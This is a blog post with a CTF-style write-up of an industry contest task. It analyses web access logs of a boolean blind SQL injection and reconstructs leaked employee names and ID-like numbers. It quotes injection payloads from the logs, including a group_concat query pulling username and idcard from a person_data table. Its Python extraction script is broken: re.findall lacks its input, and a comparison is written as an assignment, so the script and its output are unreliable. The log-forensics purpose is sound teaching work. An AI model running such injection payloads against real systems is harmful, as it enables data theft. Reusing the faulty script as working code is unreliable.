行业赛数据安全之可疑日志分析二

lxx249
2023-12-27 / 0 评论 / 1 阅读 / 正在检测是否收录...

行业赛数据安全之sql盲注日志分析

问题描述

某公司的数据安全工程师对近期信息系统的部分日志进行分析时,发现公司生产区内网的某终端主机可能被黑客远程控制,且黑客从该终端主机上获取了公司员工的关键个人信息。现请你协助该数据安全工程师开展日志分析,从中找到被控制的内网终端主机ip和被泄露的关键个人信息中“luodexin”的身份证号码。
2.请找到泄露出来的“luodexin”的身份证号码。使用32位小写md5进行加密处理,提交格式为flag{md5(xxxx)}。

日志示例

见之前博客](https://liuxuxing.eu.org/index.php/archives/7/))

知识点

日志分析,sql盲注分析,python脚本

WP

  1. 查看日志发现存在url编码,使用cyberchef的url decode后得到如下sql布尔盲注日志示例。

10.112.16.207 - - [17/Nov/2023:03:45:42 0000] "GET /?username=1' or ascii(substr((database()),1,1))>79#&password=1 HTTP/1.1" 200 862 "-" "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"
10.112.16.207 - - [17/Nov/2023:03:45:42 0000] "GET /?username=1' or ascii(substr((database()),1,1))>103#&password=1 HTTP/1.1" 200 862 "-" "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"
10.112.16.207 - - [17/Nov/2023:03:45:42 0000] "GET /?username=1' or ascii(substr((database()),1,1))>115#&password=1 HTTP/1.1" 200 875 "-" "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"
10.112.16.207 - - [17/Nov/2023:03:45:42 0000] "GET /?username=1' or ascii(substr((database()),1,1))>109#&password=1 HTTP/1.1" 200 862 "-" "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"
10.112.16.207 - - [17/Nov/2023:03:45:42 0000] "GET /?username=1' or ascii(substr((database()),1,1))>112#&password=1 HTTP/1.1" 200 875 "-" "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"
10.112.16.207 - - [17/Nov/2023:03:45:42 0000] "GET /?username=1' or ascii(substr((database()),1,1))>111#&password=1 HTTP/1.1" 200 862 "-" "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"10.112.16.207 - - [17/Nov/2023:03:45:42 0000] "GET /?username=1' or ascii(substr((database()),2,1))>79#&password=1 HTTP/1.1" 200 862 "-" "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"
10.112.16.207 - - [17/Nov/2023:03:45:42 0000] "GET /?username=1' or ascii(substr((database()),2,1))>103#&password=1 HTTP/1.1" 200 875 "-" "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"

  1. 编写python脚本提取盲注字符和盲注响应,存在862和875两个响应,使用假设法来判断哪个响应码对应猜测肯定值,猜测的最后一个否定值就是本次盲注的正确值。比如假设862正确,那么875错误,大于79为正确,那么大于115可能正确或错误,无法确定响应值;可以反向思考,若875正确,那么862错误,大于115正确,那么大于79肯定正确,出现矛盾,因此862为正确响应值,875为错误响应值。选择每次盲猜字符的最后一次错误猜测ASCII码为本次盲猜的正确字符。比如第一个盲注字符正确值为最后一个875,即112为正确字符。
  2. 使用正则表达式匹配相应格式并且提取字符,下面盲注示例为提取username和idcard,为题意要求查看

    "GET /?username=1' or ascii(substr((select group_concat(id,0x7e,username,0x7e,idcard) from person_data),1,1))>79#&password=1 HTTP/1.1" 200 875 "-"

# 使用正则表达式提取指定位置的字符
import re
# 读取日志文件
file_path = r'access.log'
with open(file_path, encoding="utf-8") as f:
    data = f.read()
# 将盲注成功的字符全部提取出来
res = ""
# 进行规则匹配,盲注字符个数为变量,可以使用循环变量表示,查看日志盲注了210个字符关于username和idcard
for i in range(1,210):
    # .*表示任意字符,{i}表示循环变量,(.*?)表示要提取的字符,若要精确提取,这三种类型的前后字符一定要精确限定
    r_list = re.findall(rf'idcard.*,{i},1))>(.*?)#&password=1 HTTP/1.1" 200 (.*?) "')
    # 对某个盲注字符的猜测情况筛选出盲注成功值
    for r in r_list:
        # 找到最后一个875,赋予tmp,走完循环即可依次覆盖直到为最后一个值
        if r[1]='875':
            tmp = r[0]
    res += chr(int(tmp))
# 打印出所有字符
print(res)
'''
1~lisi~964049202010300068,2~chuyulong~033942199810100970,3~liaosu~167720198005111326,4~luodexin~405783201705273930,5~zhangsan~549850197211299552,6~changweiran~554427199908295915,7~liumangxin~341708201408281571
'''
  1. 可以得到luodexin身份证号,再计算md5值即可得到flag
0

评论 (0)

取消